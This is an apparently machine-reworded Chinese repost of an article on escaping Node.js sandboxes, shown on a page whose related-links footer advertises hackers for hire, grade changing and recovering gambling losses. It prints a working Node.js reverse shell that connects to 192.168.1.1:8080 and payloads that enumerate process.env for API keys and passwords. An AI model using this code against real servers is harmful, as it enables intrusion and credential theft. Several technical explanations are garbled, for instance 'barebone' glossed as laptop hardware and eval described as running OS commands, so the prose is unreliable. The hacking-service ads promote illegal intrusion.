Node *** 沙盒逃逸研讨

访客5年前黑客资讯1121

在这篇文章中,咱们将讨论怎么运用解说器的内部结构来逃离Node *** 沙箱。
Node.js是一个Javascript运转环境(runtime environment),发布于2009年5月,由Ryan Dahl开发,本质是对Chrome V8引擎进行了封装。Node.js不是一个JavaScript结构,不同于CakePHP、Django、Rails。Node.js更不是浏览器端的库,不能与jQuery、Ext *** 混为一谈。Node.js是一个让JavaScript运转在服务端的开发渠道,它让JavaScript成为与PHP、Python、Perl、Ruby 等服务端言语等量齐观的脚本言语。Node.js对一些特别用例进行优化,供给代替的API,使得V8在非浏览器环境下运转得更好。V8引擎履行Javascript的速度十分快,功用十分好。开发人员运用Node.js后,能够让应用程序的前端和后端一起运用相同的编程言语。现在,Node *** 的下载量现已超越2.5亿次,而且这个量还在持续增加。这种受欢迎程度和广泛运费用,使得人们能够在web应用程序的测验中,发现许多风趣的功用。
在Node *** 呈现之前,开发人员在开发一个应用程序时,是需求运用不同的服务器端言语的,比方PHP或Perl,这些言语自身就存在安全问题。不过,虽然Node *** 和JavaScript供给了改善办法,但由于eval()函数的联系,它们在指令注入方面并没有什么不同。
eval()是程序言语中的函数,功用是获取回来值,不同言语迥然不同,函数原型是回来值 = eval( codeString ),假如eval函数在履行时遇到过错,则抛出反常给调用者。
eval函数答应应用程序在操作体系等级履行指令,当操作体系和应用程序之间的功用无法对接,或应用程序很简略将其所应发挥的功用推脱给底层体系时,开发人员将求助于eval。终究,运用eval函数的功用能够完成沙盒在不同等级的运转,以避免像进犯者运转底层服务器。
现在,让咱们深化研讨一下Node *** ,看看怎么在一个答应履行恣意JavaScript的应用程序中逃离Node *** 沙箱。
反向shell
咱们首要花了很多的时刻做了浸透性测验,然后再进行了反向shell。在此期间,我参阅了很多Wiremask的文章,构建了一个能够在Node *** 中运用的BAREBONE反向shell。
BAREBONE,也叫笔记本准体系。准体系的英文称号是Barebone或Bare System,现在指某些厂家出产的没有CPU、硬盘,光驱等等的以便于用户自己DIY的一种集笔记本shell、显示屏、主板、电池于一体的产品。
(function(){var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);var client = new net.Socket();
client.connect(8080, "192.168.1.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});return /a/; // Prevents the Node.js application form crashing})();
假如你所测验的设备的沙盒很弱或许底子不存在,那你是十分的走运,此刻你就会得到一个反向shell,持续下一步探究。但是,实践中这样的好运气却十分少。为此,咱们将研讨怎么在沙盒环境很强的设备中,无需require就能够履行反向shell。这是一种常见的沙盒技能,是抵挡进犯的之一步防护办法。假如无法导入Node *** 规范库,则无法轻松履行比如向操作体系读取/写入文件或树立 *** 连接等操作。现在,真实的应战开端了。
目标侦查
任何浸透测验办法的之一步都是目标侦查,咱们以为经过辨认恣意指令履行能够抵达这个意图。但由于沙箱的存在,咱们有必要从头开端侦查。其间,最重要的便是要确认履行恣意指令时的有效载荷具有哪些拜访权限,最直接的办法是触发仓库盯梢并检查输出内容。所谓的仓库盯梢,便是经过问题中给出的示例,咱们能够精确的确认应用程序中触发反常的方位。不幸的是,并不是一切的web应用程序都会简略的将仓库盯梢或规范过错回来给侦查人员。走运的是,咱们能够运用有效载荷生成仓库盯梢并将其进行规范输出,详细的办法,咱们能够检查StackOverflow网站,咱们能够看到代码实践上十分简略,特别是带有新言语特性的代码。假如没有直接的控制台拜访,咱们有必要运用print句子或回来实践的盯梢,以下代码将履行以下操作。
function stackTrace() {var err = new Error();
print(err.stack);
}
运转这个有效载荷后,咱们将得到一个仓库盯梢:
Error
at stackTrace (lodash.templateSources[3354]:49:19)
at eval (lodash.templateSources[3354]:52:11)
at Object.eval (lodash.templateSources[3354]:65:3)
at evalmachine.:38:49
at Array.map ()
at resolveLodashTemplates (evalmachine.:25:25)
at evalmachine.:59:3
at ContextifyScript.Script.runInContext (vm.js:59:29)
at Object.runInContext (vm.js:120:6)
at /var/www/ClientServer/services/Router/sandbox.js:95:29
...
现在咱们就进入了sandbox.js中,运用eval在lodash模板中运转。现在,咱们就能够测验找出当时的代码上下文。
咱们会测验将这些内容导出来,但这个进程并不简略,有必要要运用 *** ON.stringify()。
> print( *** ON.stringify(this))
不幸的是,其间还存在一些循环引证,这意味着咱们需求一个脚原本辨认这些引证并阻断它们。咱们的办法便是将 *** ON.prune嵌入到有效载荷中。
> print( *** ON.prune(this))
原始的 *** ON.prune不支持枚举可用的函数,不过咱们能够修正case "function"成果来得到函数的称号,然后更好的映射可用函数,运转此有效载荷将枚举很多的可用的函数,其间包括一些风趣的项目。首要, this.process.env会包括当时进程的环境变量,或许包括API密钥或暗码。其次,this.process.mainModule包括当时运转模块的装备,别的你还能够找到其他需求进一步研讨的特定于应用程序的项目,例如装备文件方位。最终,咱们会看到this.process.moduleLoadList,它是由主进程加载的一切Node *** 模块的列表。

[1] [2]  黑客接单网

相关文章

SQL注入检测技能 | 9种绕过Web应用程序防火墙的方法

Web运用程序防火墙(WAF)的首要作用是过滤,监控和阻挠各类进出Web运用程序的HTTP流量。WAF差异于惯例防火墙,由于WAF能够过滤特定Web运用程序的内容,而惯例防火墙充任的则是服务器之间的安...

影音嗅探器,网上找黑客高手,黑客找什么工作

6.更改IP:ifconfig eth2 192.168.8.168 netmask 255.255.255.0上面3个都是能够的,由于PHP函数中的参数如果是字符串能够不加双引号,可是:inurl:...

能免费接单的黑客微信群_怎么找黑客改成绩

“猫池”说白了便是一个能够插许多许多张手机卡的“假手机”,经过“猫池”对应的软件,能够一起运用这些手机卡进行打扰短信的发送和打扰电话的拨打。 3.运用暗码办理器来安排暗码,生成安全随机的暗码,主动登陆...

黑客定位接单QQ号联系_黑客去哪里找啊

315晚会上只阐明晰“探针盒子”能够获取手机MAC地址并与现存的数据库进行比对,匹配到后进行打扰。 正如上面的视频说的那样,其实所谓的“智能机器人”便是“复读机”,他们会依照“故事分支”去进行后续的语...

号码怎么定位,怎么找系统黑客单,找黑客帮忙的论坛

口令:’or’='or’$html.= 'Fullname ';-sN/sF/sX: TCP Null, FIN, and Xmas scans进犯者的服务器 111.php && 2...

全国黑客QQ号接单,找黑客改注单,网赌输了能找黑客要回吗

[1][2][3][4][5][6][7][8]黑客接单渠道前文 public void ExecuteSql1(HttpContext context,string connectio...